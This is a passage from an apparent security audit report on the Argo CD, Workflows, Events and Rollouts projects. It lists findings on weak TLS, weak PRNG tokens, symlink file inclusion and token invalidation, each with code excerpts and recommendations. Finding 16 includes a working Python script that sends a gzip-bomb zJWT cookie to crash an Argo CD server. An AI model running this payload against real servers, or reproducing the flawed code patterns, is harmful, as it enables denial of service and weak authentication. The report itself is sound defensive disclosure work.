script ssl-enum-ciphers -p 2746 localhost PORT STATE SERVICE 2746/tcp open cpudpencap | ssl-enum-
ciphers: | TLSv1.0: | ciphers: | TLS_RSA_WITH_3DES_EDE_CBC_SHA (rsa 4096) - C |
TLS_RSA_WITH_AES_128_CBC_SHA (rsa 4096) - A | TLS_RSA_WITH_AES_256_CBC_SHA (rsa 4096) - A [...] |
warnings: | 64-bit block cipher 3DES vulnerable to SWEET32 attack | Forward Secrecy not supported
by any cipher | TLSv1.1: | ciphers: | TLS_RSA_WITH_3DES_EDE_CBC_SHA (rsa 4096) - C |
TLS_RSA_WITH_AES_128_CBC_SHA (rsa 4096) - A | TLS_RSA_WITH_AES_256_CBC_SHA (rsa 4096) - A [...] ©
2021 HashEye Argo Security Assessment | 29
```

Figure 10.2: Argo Workflows supports insecure versions of TLS and weaker cipher modes. Exploit Scenario Bob is an Argo service operator. Eve, an attacker, is on the same local network as Bob. Due to Bob's naive configuration of Argo, HTTPS utilizes weak TLS versions and cipher modes for his deployment of Argo Workflows. As a result, Eve may be able to perform a man-in-the-middle attack and exfiltrate sensitive information such as Bob's administrator password. Recommendation Short term, consider enforcing stronger TLS requirements. Do not allow TLS versions older than TLS v1.2. Ensure cipher modes meet industry standards and don't have prior vulnerability. Long term, consider reviewing server configurations to ensure all standards are up to date with best practices. Integrate operational procedures which ensure appropriate maintenance of these standards. | warnings: | 64-bit block cipher 3DES vulnerable to SWEET32 attack | Forward Secrecy not supported by any cipher | TLSv1.2: | ciphers: | TLS_RSA_WITH_3DES_EDE_CBC_SHA (rsa 4096) - C | TLS_RSA_WITH_AES_128_CBC_SHA (rsa 4096) - A | TLS_RSA_WITH_AES_128_GCM_SHA256 (rsa 4096) - A | TLS_RSA_WITH_AES_256_CBC_SHA (rsa 4096) - A | TLS_RSA_WITH_AES_256_GCM_SHA384 (rsa 4096) - A [...] | warnings: | 64-bit block cipher 3DES vulnerable to SWEET32 attack | Forward Secrecy not supported by any cipher |_ least strength: C © 2021 HashEye Argo Security Assessment | 30

11. Workflows: HTTP artifact fetcher will fail on self-signed certificates Severity: InformationalDifficulty: Low Type: ConfigurationFinding ID: TOB-ARGO-011 Target: argo-workflows/workflow/artifacts/http/http.go Description When using the HTTP artifact fetcher in Argo Workflows, an artifact will fail to be fetched if the server is using self-signed certificates for TLS. The provided command-line arguments to curl do not attempt to verify using user-provided certificates nor is there an option to intentionally enable bypassing CA root validation to enable a user to knowingly use self-signed certificates. This default behaviour may lead to a user preferring plain HTTP which is less preferable to using self-signed TLS for securing artifact downloads. Recommendation Short term, consider adding an option to Workflows specifications that let users provide a custom CA certificate for use with curl. © 2021 HashEye Argo Security Assessment | 31

12. Workflows: HTTP artifact fetcher will not use TLS by default Severity: LowDifficulty: Low Type: ConfigurationFinding ID: TOB-ARGO-012 Target: argo-workflows/workflow/artifacts/http/http.go Description When using the HTTP artifact fetcher in Argo Workflows, if a provided URL does not contain an HTTP or HTTPS prefix, curl will fetch a URL using HTTP by default. This can result in downloading artifacts using an insecure channel when a secure channel was intended. Exploit Scenario Bob is using Argo Workflows and fetches artifacts from a remote server. Eve, an attacker, is able to observe network traffic that Bob is generating. If Bob enters a URL without a URI prefix, even if it is to a secure site, Eve would be able to observe and potentially modify the artifacts Bob is requesting from the remote URL as all network traffic will be unencrypted by default. Recommendation Short term, consider prefixing any URL provided without a scheme with https://. © 2021 HashEye Argo Security Assessment | 32

13. Prometheus metrics endpoints do not use TLS Severity: LowDifficulty: Low Type: ConfigurationFinding ID: TOB-ARGO-013 Target: Argo CD, Argo Workflows, Argo Events, Argo Rollouts Description The Prometheus metrics endpoints exposed by all of the Argo services under review

are served using HTTP only. It is possible to set a TLS configuration and HTTPS listener for the endpoints instead, preventing the possibility of eavesdropping or manipulation of metrics data.

Exploit Scenario Bob is an Argo service operator who, in this scenario, is monitoring the progress of an Argo Rollout. Eve, an attacker, is able to observe network traffic to and from Prometheus metrics endpoints. As traffic is served unencrypted, Eve is able to modify the content of metrics being requested by Bob who is monitoring Argo services. This results in Bob receiving incorrect information about the current state of the Rollout job, which may lead to Bob deciding to take an incorrect action, such as rolling back a successful deployment.

Recommendation Short term, serve Prometheus metrics endpoints using TLS.

© 2021 HashEye Argo Security Assessment | 33

14. Workflows: Git artifact fetcher does not validate revision names Severity: InformationalDifficulty: Low Type: Data ValidationFinding ID: TOB-ARGO-014 Target: argo-workflow/workflow/artifacts/git/git.go Description When using the Git artifact fetcher with an optional revision name, no validation of the revision name is done before it is passed to git checkout. This may lead to unexpected behaviour on checkout as the input is otherwise not validated prior to use.

Recommendation Short term, add a step to validate the revision name using git check-ref-format before it is used by git checkout.

© 2021 HashEye Argo Security Assessment | 34

15. Rollouts: Use of strconv.Atoi when a fixed-width integer is desired Severity: InformationalDifficulty: Low Type: Data ValidationFinding ID: TOB-ARGO-015 Target: argo-rollouts/utils/annotations/annotations.go Description In the Argo Rollouts code, there are occurrences of string-to-integer conversion that use strconv.Atoi but subsequently re-cast the result to a fixed-width integer, such as int32. Consider the following code snippet: Figure 15.1: Argo Rollouts has code that may result in unintended behaviour In this case, an int64 value may inadvertently be cast down to int32 depending on the input data, which may result in undesirable program behaviour. Using strconv.ParseInt with a fixed result width would generate an error if the conversion to an int32 would not succeed.

Recommendation Short term, avoid using strconv.Atoi in favor of strconv.ParseInt as it makes assumptions about data width explicit.

```
func getIntFromAnnotation(rs *apps.v1.ReplicaSet, annotationKey string) (int32, bool) { if rs == nil { return 0, false } annotationValue, ok := rs.Annotations[annotationKey] if !ok { return int32(0), false } intValue, err := strconv.Atoi(annotationValue) if err != nil { log.Warnf("Cannot convert the value %q with annotation key %q for the replica set %q", annotationValue, annotationKey, rs.Name) return int32(0), false } return int32(intValue), true }
```

© 2021 HashEye Argo Security Assessment | 35

16. The zJWT auth tokens allow for denial of service in Argo CD Severity: MediumDifficulty: Low Type: Denial of ServiceFinding ID: TOB-ARGO-016 Target: argoproj/pkg, Argo CD Description The argoproj/pkg utility library implements a zjwt package that provides a way to create compact JSON Web Tokens (JWTs) called "zJWT". Those compact tokens are created by compressing the token's payload data before encoding it with base64. However, the zjwt.JWT function that expands either a zJWT or a JWT to a JWT does not prevent memory exhaustion through unpacking a gzip bomb. The zJWT tokens are used by Argo CD server when it parses authentication tokens from headers and cookies in its getToken function (Figure 16.2). This allows an unauthenticated attacker to cause a denial of service by sending a malicious request to the Argo CD server. Figure 16.1: The zjwt.JWT function (argoproj/pkg/jwt/zjwt/zjwt.go#L75-L110). Figure 16.2: The getToken function (argo-cd/server/server.go#L922-L959).

Exploit Scenario An attacker executes the payload from Figure 16.3 against a victim's Argo CD server to cause a denial of service.

// JWT expands either a zJWT or a JWT to a JWT. func JWT(text string) (string, error) { parts := strings.SplitN(text, ".", 4) // (...) - handle incorrect parts length header := parts[1] payload := parts[2] signature := parts[3] decodedPayload, err := encoding.DecodeString(payload) // (...) - handle errors r, err := gzip.NewReader(bytes.NewReader(decodedPayload)) // (...) - handle errors uncompressedPayload, err := ioutil.ReadAll(r) // (...) - handle errors } // getToken extracts the token from gRPC metadata or cookie headers func getToken(md metadata.MD) string { // (...) - checks three different places for auth tokens and adds them to 'tokens' // (MetadataTokenKey, authorization header, HTTP cookie)

for _, t := range tokens { value, err := zjwt.JWT(t) }

© 2021 HashEye Argo Security Assessment | 36

Figure 16.3: A script that makes an Argo CD server to use ~500MB of ram during parsing just a single request. It can be executed with "python3 payload.py <argocd-server-host>".

Recommendation Short term, remove zJWT support in Argo to prevent denial of service scenarios through gzip bomb unpacking. Alternatively, use the encrypted payload when creating JWT token so that it is authenticated by the used JWT signing method.

```
import sys, os, base64
import requests

# install via e.g. `python3 -m pip install requests --user`
```

```

ARGO_HOST = sys.argv[1] if len(sys.argv)==2 else "localhost:8080" print("Will attack argocd on %s"
% ARGO_HOST)

print("Creating bomb.gzip") # We create a ~520KB bomb.gzip that unpacks to ~512MB. Creating a too
big gzip file # results in a "431 Request Header Fields Too Large" reply, so the attack depends on
# the server memory, but the attacker can also send many requests. # Also: http2 header compression
maybe allows for sending a bigger bomb? #
(https://developers.google.com/web/fundamentals/performance/http2#header\_compression) os.system('dd
if=/dev/zero bs=1m count=512| gzip -9 > bomb.gzip') print("Created bomb.gzip")

url = "https://%s/api/v1/session/userinfo" % ARGO_HOST

with open('bomb.gzip', 'rb') as f: bomb_bytes = f.read()

payload = base64.b64encode(bomb_bytes).decode() token = 'zJWT/v1.header.' + payload + '.signature'

cookies = {"argocd.token": token}

print("Sending request to %s" % url) r = requests.get(url, cookies=cookies, verify=False)

# A correct token would make argo reply with something like: #
{"loggedIn":true,"username":"admin","iss":"argocd"} # but we expect a timeout since the argocd-
server restarts itself due to too big ram usage print(r.status_code) print(r.text) © 2021
HashEye Argo Security Assessment | 37

```

17. Non-cryptographically secure random function documented as CSPRNG Severity: MediumDifficulty: High Type: CryptographyFinding ID: TOB-ARGO-017 Target: argoproj/pkg, Argo CD, Argo Workflows Description The argoproj/pkg utility library implements rand module with a RandString and RandStringCharset functions for generating cryptographically-secure pseudo-random strings (Figure 17.1). However, this rand modules the math/rand Go module which is not intended for security-sensitive work. Additionally, the Argo CD codebase implements the same logic in its util/rand/rand module. This may allow an attacker to predict the generated values if they are used within security-sensitive context. The following code uses the RandString and RandStringCharset functions as part of authentication functionality: •argo-cd/cmd/argocd/commands/login.go#L191-L201 •argo-cd/util/oidc/oidc.go#L157 •argo-cd/util/oidc/oidc.go#L401 •argo-cd/util/settings/settings.go#L1290 •argo-workflows/server/auth/sso/sso.go#L195 import ("math/rand" "sync" "time") // (...) var src = rand.NewSource(time.Now().UnixNano())

```

// RandString returns a cryptographically-secure pseudo-random alpha-numeric string of a given
length func RandString(n int) string { return RandStringCharset(n, letterBytes) }

// RandStringCharset generates, from a given charset, a cryptographically-secure pseudo-random
string of a given length func RandStringCharset(n int, charset string) string { // (...) b := make
([]byte, n) // A src.Int63() generates 63 random bits, enough for letterIdxMax characters! for i,
cache, remain := n-1, src.Int63(), letterIdxMax; i ≥ 0; { // (...) } return string(b) © 2021
HashEye Argo Security Assessment | 38

```

Figure 17.1: The RandString and RandStringCharset functions (argoproj/pkg/rand/rand.go#L19-L25).

Exploit Scenario Bob is an Argo service operator. Eve, an attacker, is able to influence or predict values generated by the math/rand module in use by Bob. For a deployment of Argo CD, Eve may be able to guess the default administrator password as a result. Alternatively, the use of a weaker method of random number generation for creating nonces used during single sign-on could allow Eve to hijack sessions. Recommendation Short term, use the crypto/rand package for generating cryptographically-secure pseudo-random data in the rand utility module in argoproj/pkg. Also, remove the duplicated module from Argo CD and use the one from argoproj/pkg after fixing it. Long term, investigate all uses of math/rand package across Argo codebases. } © 2021 HashEye Argo Security Assessment | 39

18. Symlink in a Git repository allows including files outside of the Git repository path on the Argo CD repo server Severity: LowDifficulty: High Type: Data ValidationFinding ID: TOB-ARGO-018 Target: Argo CD repo server Description Argo CD repo server finds manifest files in cloned Git repositories by processing paths served by the filepath.Walk function (Figure 18.1). This logic can read files outside from the cloned Git repository path if the repository contains a symlink with a name that matches the allowed manifest file extensions. This allows an attacker to: •Check if an arbitrary file path exists on the Argo CD repo server by observing the synchronized application errors in the "Application conditions" tab, as shown below. •Include and deploy objects from manifests that are outside of the Git repository path, which may allow for including files that the Argo CD user shouldn't have permissions to read from. Also, it is worth to note that the filepath.Walk function doesn't traverse symlinks to directories which makes it harder to exploit the described issue as otherwise a symlink to the base mount point path would either allow

```

including all manifest files present on the system (and so leaking them) or even cause a Denial of
Service due to traversing paths infinitely.      var manifestFile = regexp.MustCompile(`^.*\.(
yaml|yml|json|jsonnet)$`)

func findManifests(/* (...) */) ([]*unstructured.Unstructured, error) { var objs
[]*unstructured.Unstructured

err := filepath.Walk(appPath, func(path string, f os.FileInfo, err error) error { // (...) - check
error if f.IsDir() { /* (...) */ }

if !manifestFile.MatchString(f.Name()) { return nil } // (...) - handle Included and Excluded
directories if set

if strings.HasSuffix(f.Name(), ".jsonnet") { @ 2021 HashEye Argo Security Assessment | 40

```

Figure 18.1: The findManifests functions that may read files from symlinks (argo-cd/reposerver/repository/repository.go#L860-L952). This issue can be confirmed by creating two repositories and including a "manifest.yaml" symlink in one of them that would point to a manifest file in the other's repository cloned path, so e.g. to /tmp/<normalized-repo-path>/real_manifest.yaml. Recommendation Short term, add a check into the findManifests files if the given path is a symbolic link and either ignore it if it is so, or, make sure the link points to a path that ends up in the same repository in which the manifests files are searched for. // (...) - try to read, evaluate and unmarshall objects from JSONNET format } else { out, err := utfutil.ReadFile(path, utfutil.UTF8) // (...) - parse JSON or YAML files (ensuring they have certain keys) @ 2021 HashEye Argo Security Assessment | 41

19. Providing repository URL in the app creation form clones the repo even if the app is not created Severity: InformationalDifficulty: High Type: Denial of ServiceFinding ID: TOB-ARG0-019 Target: Argo CD Description When the user types in the "Repository URL" in the Argo CD web application (Figure 19.1), the frontend sends a POST /api/v1/repositories/<repo-url>/appdetails request to the API which clones the given repository to the /tmp/<normalized-repo-url> path on the argocd-repo-server container. This behavior leads to unnecessary cloning of repositories during user typing in the full repo URL and may cause a denial of service scenarios by exceeding the available disk space. Figure 19.1: Passing in the "Repository URL" on the Argo CD website. Recommendation Short term, change the Argo CD to clone the Git repository only after the user tries to create the application instead of cloning it when the URL is typed in on the Argo CD @ 2021 HashEye Argo Security Assessment | 42

website. This will prevent the argocd-repo-server from cloning unnecessary repositories that come in from partial names of other repositories and so filling in the disk space. @ 2021 HashEye Argo Security Assessment | 43

20. Incorrect logging of command arguments in the RunCommandExt convenience function Severity: InformationalDifficulty: High Type: Error ReportingFinding ID: TOB-ARG0-020 Target: argoproj/pkg Description The RunCommandExt utility function for running external commands logs in the run command's arguments by joining the cmd.Args array into a string (Figure 20.1) and a code comment states that this is logged in so the command can be copy-pasted into a terminal later on. However, copy-pasting an invocation will result in a different program execution if the command argument contains space, as the arguments are not shell-quoted properly during logging. Figure 20.1: The RunCommandExt function (argoproj/pkg/exec/exec.go#L73-L75). Recommendation Short term, change the argoproj/pkg's RunCommandExt function to properly log command line arguments that contain spaces. // RunCommandExt is a convenience function to run/log a command and return/log stderr in an error upon // failure. func RunCommandExt(cmd *exec.Cmd, opts CmdOpts) (string, error) { logCtx := log.WithFields(log.Fields{"execID": rand.RandString(5)}) redactor := DefaultCmdOpts.Redactor if opts.Redactor != nil { redactor = opts.Redactor } // log in a way we can copy-and-paste into a terminal args := strings.Join(cmd.Args, " ") logCtx.WithFields(log.Fields{"dir": cmd.Dir}).Info(redactor(args)) @ 2021 HashEye Argo Security Assessment | 44

21. An application path may contain path traversal payload that ends up in the application's resulting path Severity: InformationalDifficulty: High Type: Data ValidationFinding ID: TOB-ARG0-021 Target: Argo CD Description When creating an application in Argo CD and providing its path, the Argo CD prevents it from using relative paths that end up outside of the cloned repository. However, it is possible to pass in a path with a path traversal payload that ends up in the repository path (Figure 21.1). While this issue does not seem to pose a security risk currently, if the path component would be processed in a different way, it could cause issues.

Short term, consider adding additional validation to the user input repository path in Argo CD so that it disallows the path from beginning with "../" and containing "../" path components.
© 2021 HashEye Argo Security Assessment | 46

22. Argo CD CLI suggests that it is possible to create the same application twice Severity: InformationalDifficulty: N/A Type: Error ReportingFinding ID: TOB-ARGO-022 Target: Argo CD Description Invoking the same Argo CD CLI command to create an application suggests that the application was created twice, while the second invocation did not create another application (Figure 22.1). This result may be confusing to users who want to create an app but use the same application creation data. Figure 22.1: Creating an application through the Argo CD CLI twice suggests that it was created twice, while there ends up to be only one app. Recommendation Short term, change the Argo CD logic so the Argo CD CLI errors out if a user attempts to create an application with the same data. \$ argocd app create zzzz --repo https://github.com/disconnect3d/z/ --path . --dest-namespace default --dest-server https://kubernetes.default.svc --directory-recurse application 'zzzz' created \$ argocd app create zzzz --repo https://github.com/disconnect3d/z/ --path . --dest-namespace default --dest-server https://kubernetes.default.svc --directory-recurse application 'zzzz' created © 2021 HashEye Argo Security Assessment | 47

23. Argo CD file descriptor leak that may lead to exhausting opened file descriptor limit Severity: LowDifficulty: High Type: Undefined BehaviorFinding ID: TOB-ARGO-023 Target: Argo CD, Argo Events, Argo Workflows Description There are places in the Argo codebases where temporary files are opened via the ioutil.TempFile call, then are written to and are either not closed at all or if the write operation fails, the opened temporary files are not closed. This leaves the (sometimes deleted) temporary file opened and creates a resource leak which can lead to exhausting the available file descriptor limit for a process. The following code paths demonstrate this issue: ●argo-cd/reposerver/repository/repository.go#L556-L568 ●argo-cd/util/db/gpgkeys.go#L17-L28 ●argo-cd/util/gpg/gpg.go#L156-L169 ●argo-cd/util/gpg/gpg.go#L252-L264 ●argo-cd/util/gpg/gpg.go#L277-L289 ●argo-cd/util/gpg/gpg.go#L393-L407 ●argo-cd/util/helm/cmd.go#L169-L179 ●argo-cd/util/helm/cmd.go#L181-L191 ●argo-cd/util/helm/cmd.go#L198-L211 ●argo-events/sensors/triggers/argo-workflow/argo-workflow.go#L133-L138 ●argo-workflows/server/artifacts/artifact_server.go#L153-L163 ●argo-workflows/workflow/artifacts/git/git.go#L40-L47 Figure 23.1 shows one of the above listed cases. The temporary file opened in the writeKeyToFile function in Argo CD is not closed if the ioutil.WriteFile call fails. Additionally, the file should be written to through the file object f, instead of by the ioutil.WriteFile function. It seems this function was chosen to set particular file permissions. In such case, the temporary file name could be randomized with another function and the writeKeyToFile function could just use the ioutil.WriteFile function to create and write the key file. // Helper function to write some data to a temp file and return its path func writeKeyToFile(keyData string) (string, error) { f, err := ioutil.TempFile("", "gpg-public-key") if err != nil { return "", err } err = ioutil.WriteFile(f.Name(), []byte(keyData), 0600) if err != nil { © 2021 HashEye Argo Security Assessment | 48

Figure 23.1: The writeKeyToFile function (argoproj/argo-cd/util/gpg/gpg.go#L156-L169). Recommendation Short term, fix the file descriptor leak cases due to lack of file close operations across Argo codebases. This can often be fixed by deferring the f.Close() operation along with checking its error result. os.Remove(f.Name()) return "", err } f.Close() return f.Name(), nil } © 2021 HashEye Argo Security Assessment | 49

24. Argo CD contributing guide suggests adding user to the docker group without explaining its security risks Severity: InformationalDifficulty: High Type: DocumentationFinding ID: TOB-ARGO-024 Target: Argo CD Description The Argo CD contribution guide informs that developers should not work as root and should add a local user as a member of the docker group in order to work with Docker (Figure 24.1). However, this description does not detail the risk of doing so: adding a user to the docker group allows for escalating privileges to the root user without authenticating as one. This is because a user who can access the docker socket can just spawn a privileged container. The official Docker documentation warns about this case explicitly (Figure 24.2) and further describes the impact in its "Docker daemon attack surface" page. Figure 24.1: Argo CD contribution guide on using Docker (https://argoproj.github.io/argo-cd/developer-guide/contributing/#before-you-start). Figure 24.2: The Docker documentation warns about adding users to the docker group. Recommendation Short term, change the Argo CD contribution guide to suggest using "sudo" in order to control Docker containers and explain the risk of adding

users to the docker group. This will help users be aware of the risky configuration of being in the docker group and choose whether they want to use it. You will also need a working Docker runtime environment (...). You should not work as root. Make your local user a member of the docker group to be able to control the Docker service on your machine. © 2021 HashEye Argo Security Assessment | 50

25. Argo CD command line does not warn about too broad permissions of Argo token file Severity: LowDifficulty: High Type: ConfigurationFinding ID: TOB-ARGO-025 Target: Argo CD Description Argo CD command line does not warn the user when they invoke commands when its ~/.argocd/config configuration file has too broad permissions (Figure 25.1). This may lead the user's Argo CD token to be exposed for a long time if the user misconfigured the file's permissions and did not notice it. As a result, this may allow an attacker to hijack the user's deployments on the Argo CD instance. Figure 25.1: Invoking the argocd app list command when the Argo CD configuration file storing the Argo CD authentication token has too broad permissions. Recommendation Short term, check the Argo CD config file permissions during Argo CD command line invocations and warn the user if the file permissions are too broad. This will help users to keep their Argo CD token more secure and warn them if it was possible for the token to be exposed for other users. \$ pwd /Users/dc/.argocd \$ ls -la total 8 drwxr-xr-x 3 dc staff 96 Mar 2 17:52 . drwxr-xr-x+ 68 dc staff 2176 Mar 2 17:52 .. -rwxrwxrwx 1 dc staff 401 Mar 2 17:51 config \$ argocd app list NAME CLUSTER NAMESPACE PROJECT STATUS HEALTH SYNCPOLICY CONDITIONS REPO PATH TARGET © 2021 HashEye Argo Security Assessment | 51

26. Argo CD website lacks Content Security Policy and uses the X-XSS-Protection header with mode: 1 Severity: LowDifficulty: High Type: ConfigurationFinding ID: TOB-ARGO-026 Target: Argo CD Description The Argo CD website doesn't use Content Security Policy (CSP) and only sets a X-XSS-Protection: 1 header on its responses (Figure 26.1). However, the X-XSS-Protection header is not supported anymore by most modern web browsers (Figure 26.2). Additionally, the used X-XSS-Protection:1 mode, which makes browsers sanitize the page, removing unsafe parts, may allow attackers to selectively disable scripts on the page or even introduce new vulnerabilities. Because of that, some web pages explicitly disable the X-XSS-Protection by setting the mode to 0. The Content Security Policy (CSP) adds extra protection against cross site scripting (XSS) and data injection by allowing developers to determine which source the browser can execute or render code from. This safeguard is enabled using the CSP HTTP header and appropriate directives in every response to ensure the page is secure. Some unsafe programming techniques can be allowed by overriding defaults with keywords such as 'unsafe-inline' or 'unsafe-eval'. Responses from Argo CD website were not observed to include a Content-Security-Policy (CSP) header. This could allow an attacker to exploit XSS vulnerabilities that a CSP might otherwise mitigate. Figure 26.1: The newStaticAssetsHandler function that sets the X-XSS-Protection: 1 header (argo-cd/server/server.go#L837-L852). func (server *ArgoCDServer) newStaticAssetsHandler(dir string, baseHref string) func(http.ResponseWriter, *http.Request) { return func(w http.ResponseWriter, r *http.Request) { // (...) w.Header().Set("X-XSS-Protection", "1") © 2021 HashEye Argo Security Assessment | 52

Figure 26.2: The X-XSS-Protection header browser compatibility table. Note that Chrome and Edge removed the XSS filtering/auditor due to various issues with this feature. Exploit Scenario An attacker finds an XSS vulnerability in Argo CD and crafts a custom XSS payload. Since there's no CSP header and the used X-XSS-Protection header is out of support, the browser executes the attack, and successfully steals user data or executes actions on her behalf. Recommendation Short term, implement a CSP policy in Argo CD and validate it with a CSP Evaluator. This will help mitigate the effects of attacks such as XSS. Additionally, remove the X-XSS-Protection header from Argo CD responses or set its mode to "0" or "1; block". Long term, track the further developments of CSP and similar web browser features that help mitigate security risk. As new protections are developed, ensure they are adopted as quickly as possible. References •Content Security Policy (CSP) - HTTP •Google CSP Evaluator •https://developers.google.com/web/fundamentals/security/csp#eval_too •https://developers.google.com/web/fundamentals/security/csp#inline_code_is_considered_harmful © 2021 HashEye Argo Security Assessment | 53

27. Argo Events authentication token generated using weak PRNG Severity: LowDifficulty: High Type: CryptographyFinding ID: TOB-ARGO-027 Target: argo-events/controllers/eventbus/installer/nats.go Description The authentication token that is generated for all calls to the NATS streaming service is generated using the math/rand package. For this use case, it is preferable to use a cryptographically secure random number generator. Figure 27.1: Use of a non-cryptographically secure pseudorandom number generator for creation of an authentication token Recommendation Short term, change the use of math/rand to crypto/rand for token generation in the generateToken function in Argo Events. This will make the token

```

generation use a cryptographically secure pseudo random number generator instead of one whose
values could be predicted by an attacker. import ( "context" "errors" "fmt" "math/rand" //
(...)

```

```

// generate a random string as token with given length func generateToken(length int) string {
seeds := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" seededRand :=
rand.New(rand.NewSource(time.Now().UnixNano())) b := make([]byte, length) for i := range b { b[i] =
seeds[seededRand.Intn(len(seeds))] } return string(b) } © 2021 HashEye Argo Security Assessment |
54

```

28. Argo Events NATS streaming service does not use TLS by default Severity: LowDifficulty: High Type: ConfigurationFinding ID: TOB-ARGO-028 Target: Argo Events Description When deploying the Argo Events native Eventbus configuration, TLS is not enabled. As a result, the authentication token is sent in plain text from a number of Argo Events components. Data sent to and from the Eventbus is also visible as base64-encoded strings. Figure 28.1: Sample client-server network traffic communicating with a deployed Eventbus. Exploit Scenario Bob is an Argo Events service operator. Eve, an attacker, can observe network traffic of an Argo Events component that communicates with the Eventbus. Eve is able to observe the authentication token in network traffic and can then connect directly to the Eventbus and publish or consume events. This could result in Eve performing a denial-of-service attack or attempting to inappropriately trigger an event, as example attacks. Recommendation Short term, enable TLS for all Eventbus deployments. Long term, consider generating TLS client certificates to minimize the use of shared credentials, like the shared authentication token, across Event Sources, Sensors, etc. INFO

```

{"server_id":"NBCCHOKIJS DALDCQVWCLZDCDEYOE2PVTIXQIEXYYIFPD6PMAI2SIAKGJ","server_name":"NBCCH
OKIJS DALDCQVWCLZDCDEYOE2PVTIXQIEXYYIFPD6PMAI2SIAKGJ","version":"2.1.4","proto":1,"git_commit
":"fb009af","go":"go1.13.7","host":"0.0.0.0","port":4222,"auth_required":true,"max_payload":
1048576,"client_id":33,"connect_urls":["172.17.0.6:4222","172.17.0.7:4222"]} CONNECT {"auth_token":
"Ye6RTI1T3yJXldVfuY1j3QrxctBlaOpIaVvt9Py4EOZbQbXMXg00pd1hfN8ZY1zI", "echo": true, "lang":
"python3", "pedantic": false, "protocol": 1, "verbose": false, "version": "0.11.4"} PING PONG ©
2021 HashEye Argo Security Assessment | 55

```

29. Argo CD may return an incorrect error message for a missing claim in the numField function Severity: InformationalDifficulty: N/A Type: Error ReportingFinding ID: TOB-ARGO-029 Target: Argo CD Description The numField function in Argo CD returns an error when the passed in claims are missing a given claim key. This error is too specific and only valid for the IssuedAt function, but not for others such as the ExpirationTime function. This may be confusing for users or developers who would use this function with a token that has the "iat" claim but is missing the "exp" claim. Figure 29.1: The numField function (argo-cd/util/jwt/jwt.go#L82-L114). Recommendation Short term, change the error message returned in the numField function in Argo CD so it properly states which claim key is missing from the processed token. This will prevent users getting confused if the function processes another claim key. func numField(m jwtgo.MapClaims, key string) (int64, error) { field, ok := m[key] if !ok { return 0, errors.New("token does not have iat claim") } // (...) }

```

// IssuedAt returns the issued at as an int64 func IssuedAt(m jwtgo.MapClaims) (int64, error) {
return numField(m, "iat") }

```

```

// (...)

```

```

// ExpirationTime returns the expiration as a time.Time func ExpirationTime(m jwtgo.MapClaims)
(time.Time, error) { exp, err := numField(m, "exp") return time.Unix(exp, 0), err } © 2021
HashEye Argo Security Assessment | 56

```

30. Argo CD: the getToken function parses multiple tokens instead of using the first valid one Severity: InformationalDifficulty: N/A Type: Denial of ServiceFinding ID: TOB-ARGO-030 Target: Argo CD Description The Argo CD's getToken function fetches the authorization token from various sources and adds them all into the tokens array. Later, it iterates over the tokens array and returns the first valid token. This leads to unnecessary fetching of tokens from further sources if a previously fetched token is valid. Figure 30.1: The getToken function (argo-cd/server/server.go#L932-L955). Recommendation Short term, check if a given authentication token is valid and if so, return it in the getToken function in Argo CD instead of fetching all possible auth tokens into the tokens array and then using the first valid one. This will prevent unnecessary fetching of tokens if a previously fetched token is a valid one. func getToken(md metadata.MD) string { // (...) }

```

var tokens []string

```

```

// looks for the HTTP header `Authorization: Bearer ...` for _, t := range md["authorization"] { if
strings.HasPrefix(t, "Bearer ") { tokens = append(tokens, strings.TrimPrefix(t, "Bearer ")) } }

```

```
// check the HTTP cookie for _, t := range md["grpcgateway-cookie"] { // (...) if token != "" && err == nil { tokens = append(tokens, token) } }
```

```
for _, t := range tokens { value, err := zjwt.JWT(t) if err == nil { return value } } return "" } © 2021 HashEye Argo Security Assessment | 57
```

31. The WaitPID function is vulnerable to a PID-reuse attack Severity: InformationalDifficulty: High Type: TimingFinding ID: TOB-ARGO-031 Target: argoproj/pkg Description The WaitPID function in the argoproj/pkg utility library used by Argo Workflows waits for a given non-child process to exit by checking whether its /proc/\$PID directory still exists. This logic is vulnerable to a PID-reuse attack: a situation when the target process dies and another process is spawned with the same PID before a check for its existence is performed by the WaitPID function.

This may lead to indefinitely waiting for the target container to finish if the newly spawned process is controlled by an attacker and if the pod Spec TerminationGracePeriodSeconds is set to 0. This is because the WaitPID function's timeout is based upon that value and it is disabled only if the passed in timeout value is 0. Figure 31.1: The WaitPID function (argoproj/pkg/exec/exec.go#L139-L175). Recommendation Long term, consider changing the WaitPID function in argoproj/pkg library to use the pidfd API in order to wait for a PID to exit in a race-free manner. Since the pidfd API is only // WaitPID waits for a non-child process id to exit func WaitPID(pid int, opts ...WaitPIDOpts) error { // (...) path := fmt.Sprintf("/proc/%d", pid)

```
ticker := time.NewTicker(pollInterval) // (...)
```

```
var timeoutCh ←chan time.Time if timeout != 0 { timeoutCh = time.NewTimer(timeout).C } for { select { case ←ticker.C: _, err := os.Stat(path) if err != nil { if os.IsNotExist(err) { return nil } return errors.WithStack(err) } case ←timeoutCh: return ErrWaitPIDTimeout } } } © 2021 HashEye Argo Security Assessment | 58
```

present in Linux kernel 5.3 and newer, such logic may require to be compiled in only for builds targeting newer kernels. © 2021 HashEye Argo Security Assessment | 59

32. Argo CD Web UI does not support changing local admin password Severity: InformationalDifficulty: Low Type: Access ControlsFinding ID: TOB-ARGO-032 Target: Argo CD Description When using the Argo CD web interface, there is no way to change the password of the local admin account. Also, the operator of Argo CD will not be prompted to change the generated, default password for the local admin account on first log on. Recommendation Short term, prompt the Argo CD operator to change the password for the local admin account on first log on and also provide functionality to change the password as needed from the web interface. © 2021 HashEye Argo Security Assessment | 60

33. Argo CD does not invalidate token for local admin on logout Severity: LowDifficulty: High Type: Access ControlsFinding ID: TOB-ARGO-033 Target: Argo CD Description When authenticating as the local admin user, an operator will receive a JWT token with no expiration. On logout from Argo CD, the JWT token remains valid until the password for the admin user is changed. Exploit Scenario Bob is an Argo CD operator. Eve, an attacker, is able to observe the JWT token used by Bob for his admin account. Bob logs out of Argo CD, but Eve is still able to use the JWT token to authenticate and take unauthorized actions on the Argo CD instance. Recommendation Short term, invalidate tokens when a user logs out of Argo CD. © 2021 HashEye Argo Security Assessment | 61

